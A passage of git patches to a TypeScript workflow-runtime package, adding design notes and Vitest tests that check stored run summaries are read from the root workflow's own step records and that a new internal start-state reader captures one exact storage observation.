fingerprints, cache-fallback safeguards and existing deadline refusals. This correction does not activate the staged generation-bound admission or private replay protocol. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 9751cdf6..42ffd808 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -109,6 +109,12 @@ Terminate: A repeated request reads the terminal snapshot and returns the same summary. After ownership release, the public router delegates replay authorization to the owner object. The object accepts only a principal recorded by the original transition. +### Read stored run summaries + +Stored summaries use the selected workflow's direct step records, without recursively merging child workflow rows. A nested `a` workflow's `b` step therefore cannot overwrite the payload or suspension timestamp of a direct `a.b` step. The same root-local projection applies to status, authoritative status, recovered execution outcomes and lifecycle completion summaries. + +Detailed resume preparation still reads nested steps so the selected child's suspension timestamp and prior resume count reach grant derivation. Nested-workflow metadata and deadline refusals remain intact; the naming constraints below still apply to ambiguous approval paths. This read correction does not activate generation-bound admission or the private replay protocol. + ### Fence execution during a deployment migration The execution fence controls one physical deployment, which is also one tenant boundary. It is never scoped to an actor or run. Each admission reads the current row without memoization, and storage failures fail closed. diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index 5575caf6..0319ed1b 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -52,6 +52,618 @@ import { suspensionTimeoutResumeData, } from './suspension-deadline.js'; +interface D0Snapshot { + status: RunSummary['status']; + result?: unknown; + error?: unknown; + context: Record; + suspendedPaths?: Record; + requestContext?: Record & { + 'flowsafe.runProvenance'?: { + version: number; + startToken: string; + requestedBy?: string; + requestedByKind?: 'human' | 'service' | 'system'; + resumeCounts: Array<[string, number]>; + }; + }; +} + +interface D0Step { + suspendPayload?: unknown; + suspendedAt?: number; + resumedAt?: number; +} + +function d0Fixture(requestContextForRun?: RequestContextProvider) { + const sqlite = openSqlite() as ReturnType & { + close(): void; + }; + const prepare = sqlite.prepare.bind(sqlite); + const reads: unknown[][] = []; + const tracked = vi.spyOn(sqlite, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + if (/^\s*SELECT\b/i.test(sql) && sql.includes('mastra_workflow_snapshot')) { + const get = statement.get.bind(statement); + const all = statement.all.bind(statement); + statement.get = (...args) => { + reads.push(args); + return get(...args); + }; + statement.all = (...args) => { + reads.push(args); + return all(...args); + }; + } + return statement; + }); + const host = init( + { DB: sqliteUnitDatabase(sqlite) as D1DatabaseBinding }, + { executionFence: 'none', startIdempotency: 'none', requestContextForRun }, + ); + const effects = vi.fn(); + const schema = z.looseObject({}); + const gate = (id: string, reason: string) => + host.createStep({ + id, + inputSchema: schema, + outputSchema: schema, + execute: async ({ inputData, resumeData, suspend, requestContext }) => { + effects(id, requestContext); + return resumeData + ? inputData + : suspend({ reason, [SUSPENSION_DEADLINE_PAYLOAD_KEY]: 900_000 }); + }, + }); + const row = (workflowId = 'd0-root', runId = 'd0-run') => + prepare( + 'SELECT * FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ).get(workflowId, runId) as { + snapshot: string; + createdAt: string; + updatedAt: string; + [key: string]: unknown; + }; + return { + ...host, + effects, + schema, + gate, + row, + reads, + snapshot: (workflowId = 'd0-root', runId = 'd0-run') => + JSON.parse(row(workflowId, runId).snapshot) as D0Snapshot, + changeChild(workflowId: string, runId: string, step: string, time: number) { + const snapshot = JSON.parse( + row(workflowId, runId).snapshot, + ) as D0Snapshot; + const entry = snapshot.context[step] as D0Step; + entry.suspendedAt = time; + entry.suspendPayload = { reason: 'CHILD ONLY CHANGE' }; + prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot = ? WHERE workflow_name = ? AND run_id = ?', + ).run(JSON.stringify(snapshot), workflowId, runId); + }, + close() { + tracked.mockRestore(); + sqlite.close(); + }, + }; +} + +function d0Collision(f: ReturnType) { + const child = f + .createWorkflow({ + id: 'a', + inputSchema: f.schema, + outputSchema: f.schema, + }) + .then(f.gate('b', 'nested b')) + .commit(); + return f + .createWorkflow({ + id: 'd0-root', + inputSchema: f.schema, + outputSchema: f.schema, + }) + .parallel([f.gate('a.b', 'root a.b'), child]) + .commit(); +} + +function d0AssertRootSummary( + summary: RunSummary | null, + row: ReturnType['row']>, +) { + const snapshot = JSON.parse(row.snapshot) as D0Snapshot; + const keys = Object.keys(snapshot.suspendedPaths ?? {}); + const entry = (key: string) => { + const value = snapshot.context[key]; + return Array.isArray(value) ? value[value.length - 1] : value; + }; + const project = (read: (key: string) => T | undefined) => { + const pairs = keys + .map((key) => [key, read(key)] as const) + .filter(([, value]) => value !== undefined); + return pairs.length ? Object.fromEntries(pairs) : undefined; + }; + const provenance = snapshot.requestContext?.['flowsafe.runProvenance']; + expect(summary).toMatchObject({ + status: snapshot.status, + createdAt: new Date(row.createdAt).toISOString(), + updatedAt: new Date(row.updatedAt).toISOString(), + }); + expect(summary?.requestedBy).toBe(provenance?.requestedBy); + expect(summary?.requestedByKind).toBe(provenance?.requestedByKind); + if (snapshot.status === 'suspended') { + expect(summary?.suspended).toEqual(keys.map((key) => key.split('.'))); + expect(summary?.suspendPayload).toEqual( + project((key) => entry(key)?.suspendPayload), + ); + expect(summary?.suspendedAt).toEqual( + project((key) => entry(key)?.suspendedAt), + ); + expect(summary?.resumedAt).toEqual(project((key) => entry(key)?.resumedAt)); + expect(summary?.resumeCount).toEqual( + project((key) => new Map(provenance?.resumeCounts).get(key)), + ); + } + if (snapshot.status === 'success') + expect(summary?.result).toEqual(snapshot.result); + expect(summary).not.toHaveProperty('requestContext'); + expect(summary).not.toHaveProperty('startToken'); + expect(summary).not.toHaveProperty('attemptToken'); +} + +const d0Start = { + runId: 'd0-run', + inputData: {}, + attemptToken: 'd0-attempt', + requestedBy: 'owner', + requestedByKind: 'human', +} as const; + +const d0DeadlineRefusal = { + entries: [], + rejected: [ + { step: 'a.b', reason: 'ambiguous suspended step path' }, + { step: 'a', reason: 'nested suspension paths are not supported' }, + ], +}; + +describe('D0 root-local stored summaries', () => { + it.each([ + 'status', + 'authoritativeStatus', + 'recoverStartAttempt', + ] as const)('D0 projects the selected root for summary reads: %s', async (method) => { + const f = d0Fixture(); + d0Collision(f); + try { + await f.runtime.start('d0-root', d0Start); + const parent = f.row(); + const read = () => + method === 'recoverStartAttempt' + ? f.runtime.recoverStartAttempt('d0-root', 'd0-run', 'd0-attempt') + : f.runtime[method]('d0-root', 'd0-run'); + f.reads.length = 0; + const first = await read(); + d0AssertRootSummary(first, parent); + expect(f.reads).toEqual([['d0-run', 'd0-root']]); + expect(suspensionDeadlinesOf(first as RunSummary)).toEqual( + d0DeadlineRefusal, + ); + const rootTime = (f.snapshot().context['a.b'] as D0Step) + .suspendedAt as number; + f.changeChild('a', 'd0-run', 'b', rootTime + 1234); + expect(f.row()).toEqual(parent); + f.reads.length = 0; + const second = await read(); + expect(second).toEqual(first); + expect(f.reads).toEqual([['d0-run', 'd0-root']]); + expect(f.effects).toHaveBeenCalledTimes(2); + } finally { + f.close(); + } + }); + + it('D0 recovers a stored start result without child projection', async () => { + const f = d0Fixture(); + const flow = d0Collision(f); + const create = flow.createRun.bind(flow); + const spy = vi + .spyOn(flow, 'createRun') + .mockImplementation(async (options) => { + const run = await create(options); + const start = run.start.bind(run); + run.start = async (input) => { + try { + await start(input); + f.reads.length = 0; + throw new Error('D0 lost native start receipt'); + } finally { + run.start = start; + } + }; + return run; + }); + try { + const result = await f.runtime.start('d0-root', d0Start); + d0AssertRootSummary(result, f.row()); + expect(f.reads).toEqual([['d0-run', 'd0-root']]); + expect(f.effects).toHaveBeenCalledTimes(2); + expect( + f.snapshot().requestContext?.['flowsafe.runProvenance'], + ).toMatchObject({ + version: 1, + startToken: 'd0-attempt', + resumeCounts: [], + }); + } finally { + spy.mockRestore(); + f.close(); + } + }); + + it('D0 projects lifecycle completion from one root read', async () => { + const f = d0Fixture(); + const flow = d0Collision(f); + const nativeRead = flow.getWorkflowRunById.bind(flow); + const windows: unknown[][][] = []; + const spy = vi + .spyOn(flow, 'getWorkflowRunById') + .mockImplementation(async (runId, options) => { + const start = f.reads.length; + const result = await nativeRead(runId, options); + if (options?.fields?.includes('requestContext')) + windows.push(f.reads.slice(start)); + return result; + }); + try { + await f.runtime.start('d0-root', d0Start); + const parent = f.row(); + const principal = { kind: 'human', id: 'owner' } as const; + const missed = await f.runtime.timeOut( + 'd0-root', + 'd0-run', + { expectedRevision: 1 }, + 100, + ); + expect(missed).toMatchObject({ transitioned: false, casMatched: false }); + d0AssertRootSummary(missed.summary, parent); + const terminal = await f.runtime.terminateAsPrincipal( + 'd0-root', + 'd0-run', + principal, + principal, + 101, + ); + expect(terminal).toMatchObject({ + transitioned: true, + casMatched: true, + summary: { status: 'cancelled' }, + cleanup: { cleanupCompleted: false, revision: 1 }, + }); + const retry = await f.runtime.terminateAsPrincipal( + 'd0-root', + 'd0-run', + principal, + principal, + 102, + ); + expect(retry).toMatchObject({ + transitioned: false, + summary: { status: 'cancelled' }, + cleanup: terminal.cleanup, + }); + const completed = await f.runtime.completeTerminalCleanup( + 'd0-root', + 'd0-run', + terminal.cleanup.revision, + 103, + ); + expect(completed.status).toBe('cancelled'); + await expect( + f.runtime.completeTerminalCleanup( + 'd0-root', + 'd0-run', + terminal.cleanup.revision, + 104, + ), + ).resolves.toEqual(completed); + expect(windows).toEqual( + Array.from({ length: 5 }, () => [['d0-run', 'd0-root']]), + ); + expect(f.effects).toHaveBeenCalledTimes(2); + } finally { + spy.mockRestore(); + f.close(); + } + }); + + it('D0 preserves detailed nested resume preparation', async () => { + const legs: RunLeg[] = []; + const f = d0Fixture((_workflowId, _runId, leg) => { + legs.push(leg); + return { d0Provider: true }; + }); + const child = f + .createWorkflow({ + id: 'nested', + inputSchema: f.schema, + outputSchema: f.schema, + }) + .then(f.gate('approval', 'nested approval')) + .commit(); + const flow = f + .createWorkflow({ + id: 'd0-root', + inputSchema: f.schema, + outputSchema: f.schema, + }) + .then(child) + .commit(); + const spy = vi.spyOn(flow, 'getWorkflowRunById'); + try { + await f.runtime.start('d0-root', d0Start); + f.changeChild('nested', 'd0-run', 'approval', 12345); + legs.length = 0; + spy.mockClear(); + const result = await f.runtime.resume('d0-root', 'd0-run', { + step: ['nested', 'approval'], + resumeData: { approve: true }, + requestedBy: 'reviewer', + requestedByKind: 'human', + }); + expect(result.status).toBe('success'); + expect(legs).toEqual([ + { + kind: 'resume', + step: ['nested', 'approval'], + suspendedAt: 12345, + resumeCount: undefined, + }, + ]); + const preparation = spy.mock.calls.filter(([, options]) => + options?.fields?.includes('requestContext'), + ); + expect(preparation).toHaveLength(1); + expect(preparation[0]?.[1]?.withNestedWorkflows ?? true).toBe(true); + expect(f.effects).toHaveBeenCalledTimes(2); + const context = f.effects.mock.calls[1]?.[1] as RequestContext; + expect(context.get('breakwater.connectorExecution')).toMatchObject({ + suspension: { stepPath: ['nested', 'approval'], suspendedAt: 12345 }, + }); + expect(context.get('d0Provider')).toBe(true); + expect( + f.snapshot().requestContext?.['flowsafe.runProvenance'], + ).toMatchObject({ + version: 1, + startToken: 'd0-attempt', + requestedBy: 'reviewer', + requestedByKind: 'human', + resumeCounts: [['nested.approval', 1]], + }); + } finally { + spy.mockRestore(); + f.close(); + } + }); +}); + +describe('D0 summary compatibility', () => { + it.each([ + 'success', + 'failure', + 'suspension', + 'resuspension', + 'parallel', + 'foreach-1', + 'foreach-3', + 'nested-1', + 'nested-2', + 'plain-dots', + 'unattributed', + ] as const)('D0 preserves root summary fields: %s', async (mode) => { + const f = d0Fixture(); + const root = () => + f.createWorkflow({ + id: 'd0-root', + inputSchema: f.schema, + outputSchema: f.schema, + }); + let inputData: unknown = {}; + if (mode === 'success' || mode === 'failure') { + root() + .then( + f.createStep({ + id: 'result', + inputSchema: f.schema, + outputSchema: f.schema, + execute: async ({ inputData: input }) => { + if (mode === 'failure') throw new Error('D0 expected failure'); + return input; + }, + }), + ) + .commit(); + inputData = { value: 'root result' }; + } else if (mode === 'foreach-1' || mode === 'foreach-3') { + f.createWorkflow({ + id: 'd0-root', + inputSchema: z.array(f.schema), + outputSchema: z.array(f.schema), + }) + .foreach(f.gate('gate', 'iteration'), { + concurrency: mode === 'foreach-1' ? 1 : 3, + }) + .commit(); + inputData = [{ n: 1 }, { n: 2 }, { n: 3 }]; + } else if (mode === 'nested-1' || mode === 'nested-2') { + const inner = f + .createWorkflow({ + id: 'inner', + inputSchema: f.schema, + outputSchema: f.schema, + }) + .then(f.gate('gate', 'nested')) + .commit(); + const nested = + mode === 'nested-1' + ? inner + : f + .createWorkflow({ + id: 'middle', + inputSchema: f.schema, + outputSchema: f.schema, + }) + .then(inner) + .commit(); + root().then(nested).commit(); + } else if (mode === 'parallel' || mode === 'plain-dots') { + root() + .parallel( + mode === 'parallel' + ? [f.gate('left', 'left'), f.gate('right', 'right')] + : [f.gate('a', 'plain a'), f.gate('a.b', 'plain a.b')], + ) + .commit(); + } else if (mode === 'resuspension') { + root() + .then( + f.createStep({ + id: 'gate', + inputSchema: f.schema, + outputSchema: f.schema, + execute: async ({ resumeData, suspend }) => + suspend({ reason: resumeData ? 'again' : 'first' }), + }), + ) + .commit(); + } else root().then(f.gate('gate', 'first')).commit(); + try { + await f.runtime.start( + 'd0-root', + mode === 'unattributed' + ? { runId: 'd0-run', inputData } + : { ...d0Start, inputData }, + ); + if (mode === 'resuspension') + await f.runtime.resume('d0-root', 'd0-run', { + step: 'gate', + resumeData: { again: true }, + requestedBy: 'reviewer', + requestedByKind: 'human', + }); + const before = f.row(); + for (const method of ['status', 'authoritativeStatus'] as const) { + f.reads.length = 0; + const summary = await f.runtime[method]('d0-root', 'd0-run'); + d0AssertRootSummary(summary, before); + expect(f.reads).toEqual([['d0-run', 'd0-root']]); + if (mode === 'failure') + expect(summary?.error).toContain('D0 expected failure'); + if (mode === 'resuspension') + expect(summary?.resumeCount).toEqual({ gate: 1 }); + if (mode === 'plain-dots') + expect(suspensionDeadlinesOf(summary as RunSummary)).toMatchObject({ + entries: [{ step: 'a' }, { step: 'a.b' }], + rejected: [], + }); + if (mode === 'nested-1' || mode === 'nested-2') { + const deadlines = suspensionDeadlinesOf(summary as RunSummary); + expect(deadlines.entries).toEqual([]); + expect(deadlines.rejected).toEqual([ + { + step: mode === 'nested-1' ? 'inner' : 'middle', + reason: 'nested suspension paths are not supported', + }, + ]); + } + } + expect(f.row()).toEqual(before); + } finally { + f.close(); + } + }); + + it('D0 preserves genuine missing-run and recovery mismatch behavior', async () => { + const f = d0Fixture(); + d0Collision(f); + try { + await expect(f.runtime.status('d0-root', 'absent')).resolves.toBeNull(); + await expect( + f.runtime.authoritativeStatus('d0-root', 'absent'), + ).resolves.toBeNull(); + await expect( + f.runtime.recoverStartAttempt('d0-root', 'absent', 'd0-attempt'), + ).resolves.toBeNull(); + await f.runtime.start('d0-root', d0Start); + const before = f.row(); + await expect( + f.runtime.recoverStartAttempt('d0-root', 'd0-run', 'wrong'), + ).rejects.toThrow('snapshot belongs to another start attempt'); + expect(f.row()).toEqual(before); + expect(f.effects).toHaveBeenCalledTimes(2); + } finally { + f.close(); + } + }); + + it('D0 preserves fallback refusal before recovery deletion', async () => { + const storage = new InMemoryStore(); + const { runtime, createStep, createWorkflow } = init( + { storage }, + { + executionFence: 'none', + startIdempotency: 'none', + }, + ); + const workflow = createWorkflow({ + id: 'd0-fallback', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + createStep({ + id: 'gate', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async ({ suspend }) => suspend({ reason: 'waiting' }), + }), + ) + .commit(); + const started = await runtime.start('d0-fallback', { + runId: 'd0-run', + inputData: {}, + }); + const remove = vi.spyOn(workflow, 'deleteWorkflowRunById'); + const domain = await storage.getStore('workflows'); + if (!domain) throw new Error('D0 workflows domain missing'); + const blind = vi + .spyOn(domain, 'getWorkflowRunById') + .mockResolvedValue(null); + const restore = () => blind.mockRestore(); + try { + await expect( + runtime.status('d0-fallback', started.runId), + ).resolves.toMatchObject({ status: 'pending' }); + await expect( + runtime.authoritativeStatus('d0-fallback', started.runId), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + await expect( + runtime.recoverStartAttempt('d0-fallback', started.runId, 'valid'), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + expect(remove).not.toHaveBeenCalled(); + } finally { + restore(); + remove.mockRestore(); + } + await expect( + runtime.authoritativeStatus('d0-fallback', started.runId), + ).resolves.toHaveProperty('status', 'suspended'); + }); +}); + interface Counters { /** Times the approval step's post-approval body ran (the gated action). */ approvalResumes: number; diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index 55103c96..ce366c70 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -1346,7 +1346,7 @@ export class RunnerRuntime { // block here, and proof-only admits its one nominated run. await this.#assertResumeFence(runId); return this.#withRunLock(workflowId, runId, async () => { - const state = await this.#workflowState(workflow, runId); + const state = await this.#workflowState(workflow, runId, true); if (!state) throw new UnknownRunError(workflowId, runId); if (state.status !== 'suspended') { throw new RunNotSuspendedError(workflowId, runId, state.status); @@ -2101,8 +2101,12 @@ export class RunnerRuntime { #workflowState( workflow: AnyWorkflow, runId: string, + withNestedWorkflows = false, ): Promise { - return workflow.getWorkflowRunById(runId, { fields: RUN_STATE_FIELDS }); + return workflow.getWorkflowRunById(runId, { + fields: RUN_STATE_FIELDS, + withNestedWorkflows, + }); } async #loadSnapshot( From a576c597e8e3b8da295bc9bc9f3224d8ba3aadfa Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 7 Sep 2026 18:26:32 +0400 Subject: [PATCH 081/169] feat(flowsafe): add a single-observation execution reader --- .changeset/sticky-fence-epochs.md | 2 + docs/do-runner-design.md | 2 + .../flowsafe/src/do-runner/runtime.test.ts | 969 +++++++++++++++++- packages/flowsafe/src/do-runner/runtime.ts | 274 ++++- 4 files changed, 1238 insertions(+), 9 deletions(-) diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 000dcf40..5f685e1d 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -19,3 +19,5 @@ Carry trusted caller epochs through Worker configuration, actor contexts, protec Reject sparse economic-operation lists before execution or lifecycle writes, including resume inputs. Copy indexed entries without calling caller-supplied array methods, and preserve valid dense/inherited entries and the existing lifecycle-format error. This prevents successful execution from producing an unreadable snapshot with null operation placeholders. Project stored run summaries from the selected workflow's direct step records instead of merging child workflow rows over dotted root step names. Preserve root payloads and suspension timestamps across child-only updates while retaining detailed nested resume preparation, grant fingerprints, cache-fallback safeguards and existing deadline refusals. This correction does not activate the staged generation-bound admission or private replay protocol. + +Add an internal reader that derives physical execution identity and a root-local summary from one stored v2 observation. Preserve exact D1 observations and explicit unfenced namespaces, reject malformed modern state, and distinguish raw pending state from nonpending results. Existing start, status, recovery and host callers remain unchanged; this prerequisite does not activate generation binding or final-write epoch enforcement. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index 42ffd808..7efdbadd 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -219,6 +219,8 @@ Economic-operation lists must contain an entry at every index. Start, resume and Advanced trusted integrations can obtain `FENCED_WORKFLOW_STORAGE` from the actual workflow domain. The capability exists only for a selected raw binding with transactional `batch()` support; standalone client and REST configurations retain ordinary adapter behavior without that capability. Fence and participating reservation stores must hold that exact binding. The capability reports its actual lowercase table prefix, with the empty string identifying the default namespace. +An internal Runtime reader now derives physical execution identity and a root-local summary from one stored v2 observation. It captures the registered workflow's actual storage source before reading; D1 results retain exact raw bytes, while custom storage results explicitly have no D1 namespace. Raw pending state remains initial regardless of lifecycle metadata or an admission stamp. The reader grants no logical-root, replay or proof authority, and existing start, status, recovery and host paths do not yet call it. + Call `withInitialAdmission(admission, () => workflow.createRun(...))` around initial Core creation only. Supply a server-generated generation token, the original caller epoch and proof observation, and a coherent trusted v2 request context. A keyed call also requires an already-started modern-unbound reservation; current reservation creation does not emit that representation automatically. Both callbacks are invoked as plain functions; use a closure or bound function when you need a receiver. The initial conditional INSERT atomically chains its winning reservation and proof bindings. Only a positive exact witness permits the caller to invoke the returned Run’s `start()` after the scope ends. Suppressed pending persistence, a cached/existing Run, or another domain’s write does not supply that witness. diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index 0319ed1b..1dd94911 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -1,8 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 import { Agent } from '@mastra/core/agent'; +import { Mastra } from '@mastra/core/mastra'; import type { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; -import { describe, expect, it, vi } from 'vitest'; +import type { WorkflowRunState } from '@mastra/core/workflows'; +import { assert, describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { createBackgroundTaskD1Domains } from '../background-tasks/d1-storage.js'; @@ -41,6 +43,7 @@ import { type StartRunOptions, UnknownWorkflowError, } from './runtime.js'; +import { StartIdempotencyStore } from './start-idempotency.js'; import { isReadableRunSummary, isSuspensionTimeoutResumeData, @@ -52,6 +55,965 @@ import { suspensionTimeoutResumeData, } from './suspension-deadline.js'; +function d1Snapshot( + status: RunSummary['status'] = 'success', +): WorkflowRunState & { + requestContext: NonNullable; +} { + return { + runId: 'd1-run', + status: status as WorkflowRunState['status'], + result: { source: 'S1' }, + error: { name: 'Error', message: 'S1 failure' }, + context: { + gate: { + status: 'suspended', + payload: {}, + startedAt: 50, + suspendPayload: { source: 'S1' }, + suspendedAt: 100, + ...{ resumedAt: 90 }, + }, + }, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'S1', + attemptToken: 'attempt-1', + startIdentity: { + owner: { kind: 'human', id: 'owner' }, + target: { kind: 'workflow', id: 'd1-workflow' }, + }, + requestedBy: 'owner', + requestedByKind: 'human', + resumeCounts: [['gate', 2]], + }, + }, + value: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: { gate: [0] }, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 100, + }; +} + +async function d1Fixture( + kind: 'default' | 'prefixed' | 'background' | 'unfenced' = 'default', + bound: 'none' | 'fence' | 'start' = 'none', +) { + const sql = openSqlite() as ReturnType & { close(): void }; + const binding = sqliteUnitDatabase(sql) as D1DatabaseBinding; + const storage = + kind === 'unfenced' + ? new InMemoryStore() + : createD1Storage({ + binding, + ...(kind === 'prefixed' ? { tablePrefix: 'D1_' } : {}), + ...(kind === 'background' + ? { domains: createBackgroundTaskD1Domains({ binding }) } + : {}), + }); + await storage.init(); + const app = init( + { storage }, + { + executionFence: + bound === 'fence' + ? new ExecutionFenceStore(binding as ExecutionFenceDatabase) + : 'none', + startIdempotency: + bound === 'start' + ? new StartIdempotencyStore(binding as ExecutionFenceDatabase) + : 'none', + }, + ); + const schema = z.looseObject({}); + const workflow = app + .createWorkflow({ + id: 'd1-workflow', + inputSchema: schema, + outputSchema: schema, + }) + .then( + app.createStep({ + id: 'gate', + inputSchema: schema, + outputSchema: schema, + execute: async ({ inputData }) => inputData, + }), + ) + .commit(); + await app.runtime.status('d1-workflow', 'd1-run'); + const workflows = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = workflows[FENCED_WORKFLOW_STORAGE]; + const capability = native ? { ...native } : undefined; + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: capability, + writable: true, + configurable: true, + }); + const seed = (snapshot: WorkflowRunState = d1Snapshot()) => + workflows.persistWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + snapshot, + }); + return { + ...app, + sql, + storage, + workflow, + workflows, + get capability() { + if (!capability) throw new Error('D1 fixture capability is missing'); + return capability; + }, + seed, + close: () => sql.close(), + }; +} + +describe('FS8 D1 authoritative start state', () => { + it.each([ + 'default', + 'prefixed', + 'background', + ] as const)('selects one raw %s snapshot for physical identity and S1 payload', async (kind) => { + const f = await d1Fixture(kind); + try { + for (const status of ['success', 'failed', 'suspended'] as const) { + const snapshot = d1Snapshot(status); + await f.seed(snapshot); + const capability = f.capability; + const originalRead = capability.readSnapshot.bind(capability); + const read = vi + .spyOn(capability, 'readSnapshot') + .mockImplementation(async (address) => { + const row = await originalRead(address); + const replacement = d1Snapshot(status); + replacement.requestContext['flowsafe.runProvenance'].startToken = + 'S2'; + replacement.result = { source: 'S2' }; + replacement.error = { name: 'Error', message: 'S2 failure' }; + assert(replacement.context.gate); + replacement.context.gate.suspendPayload = { source: 'S2' }; + await f.seed(replacement); + return row; + }); + const publicRead = vi.spyOn(f.workflow, 'getWorkflowRunById'); + const ordinaryRead = vi.spyOn(f.workflows, 'getWorkflowRunById'); + const load = vi.spyOn(f.workflows, 'loadWorkflowSnapshot'); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + expect(selected).toMatchObject({ + storage: 'd1', + kind: 'result', + execution: { + tablePrefix: kind === 'prefixed' ? 'd1_' : '', + workflowId: 'd1-workflow', + runId: 'd1-run', + startToken: 'S1', + }, + }); + expect(selected?.summary).toMatchObject( + status === 'success' + ? { result: { source: 'S1' } } + : status === 'failed' + ? { error: 'S1 failure' } + : { + suspendPayload: { gate: { source: 'S1' } }, + suspendedAt: { gate: 100 }, + resumedAt: { gate: 90 }, + resumeCount: { gate: 2 }, + }, + ); + expect(selected?.snapshot).toEqual(snapshot); + expect(read).toHaveBeenCalledTimes(1); + expect(publicRead).not.toHaveBeenCalled(); + expect(ordinaryRead).not.toHaveBeenCalled(); + expect(load).not.toHaveBeenCalled(); + expect( + selected?.storage === 'd1' && Object.isFrozen(selected.raw), + ).toBe(true); + if (selected?.storage === 'd1') + expect(JSON.parse(selected.raw.snapshot)).toEqual(snapshot); + read.mockRestore(); + publicRead.mockRestore(); + ordinaryRead.mockRestore(); + load.mockRestore(); + } + } finally { + f.close(); + } + }); + + it('copies all exact raw fields without reserializing snapshot bytes', async () => { + const f = await d1Fixture(); + try { + await f.seed(); + const bytes = `${JSON.stringify(d1Snapshot(), null, 2)}\n`; + f.sql + .prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot = ?, resourceId = ?, createdAt = ?, updatedAt = ?', + ) + .run( + bytes, + 'resource-1', + '2026-01-01T04:00:00+04:00', + '2026-01-02T04:00:00+04:00', + ); + const row = await f.capability.readSnapshot({ + workflowId: 'd1-workflow', + runId: 'd1-run', + }); + assert(row); + const observed = { ...row }; + vi.spyOn(f.capability, 'readSnapshot').mockResolvedValue(observed); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + assert(selected?.storage === 'd1'); + expect(selected.raw).toEqual(row); + expect(selected.raw).not.toBe(observed); + observed.snapshot = '{}'; + observed.resourceId = 'changed'; + expect(selected.raw.snapshot).toBe(bytes); + expect(selected.raw.resourceId).toBe('resource-1'); + expect(selected.summary).toMatchObject({ + createdAt: '2026-01-01T00:00:00.000Z', + updatedAt: '2026-01-02T00:00:00.000Z', + }); + } finally { + f.close(); + } + }); + + it.each([ + 'default', + 'unfenced', + ] as const)('returns %s absence despite a cached Run', async (kind) => { + const f = await d1Fixture(kind); + try { + await f.workflow.createRun({ runId: 'd1-run' }); + await f.workflows.deleteWorkflowRunById({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }); + expect(await f.runtime.status('d1-workflow', 'd1-run')).not.toBeNull(); + expect( + await f.runtime.authoritativeStartState('d1-workflow', 'd1-run'), + ).toBeNull(); + } finally { + f.close(); + } + }); + + it.each([ + 'string', + 'object', + ] as const)('detaches one unfenced %s record with an explicit null namespace', async (shape) => { + const f = await d1Fixture('unfenced'); + try { + const snapshot = d1Snapshot('suspended'); + const date = new Date('2026-01-01T00:00:00Z'); + const record = { + workflowName: 'd1-workflow', + runId: 'd1-run', + snapshot: shape === 'string' ? JSON.stringify(snapshot) : snapshot, + createdAt: + shape === 'string' + ? ('2026-01-01T00:00:00Z' as unknown as Date) + : date, + updatedAt: date, + }; + const read = vi + .spyOn(f.workflows, 'getWorkflowRunById') + .mockResolvedValue(record); + const selected = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + ); + assert(snapshot.context.gate); + snapshot.context.gate.suspendPayload = { source: 'S2' }; + snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S2'; + date.setTime(0); + expect(selected).toMatchObject({ + storage: 'unfenced', + execution: { tablePrefix: null, startToken: 'S1' }, + summary: { + suspendPayload: { gate: { source: 'S1' } }, + createdAt: '2026-01-01T00:00:00.000Z', + }, + }); + expect(selected).not.toHaveProperty('raw'); + expect(selected?.snapshot.context.gate?.suspendPayload).toEqual({ + source: 'S1', + }); + expect(read).toHaveBeenCalledTimes(1); + } finally { + f.close(); + } + }); + + it.each([ + 'pending', + 'success', + 'suspended', + ] as const)('classifies raw %s independently of retained marker and lifecycle', async (status) => { + const f = await d1Fixture(); + try { + for (const marker of [undefined, true]) + for (const terminal of [false, true]) { + const snapshot = d1Snapshot(status); + snapshot.requestContext['flowsafe.runProvenance'].initialAdmission = + marker; + if (terminal) + snapshot.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: 2, + deadlineAt: 50, + terminal: { + status: 'timed_out', + error: { code: 'TIMED_OUT', message: 'run timed out' }, + transitionedAt: 100, + replayPrincipals: [{ kind: 'human', id: 'owner' }], + }, + }; + await 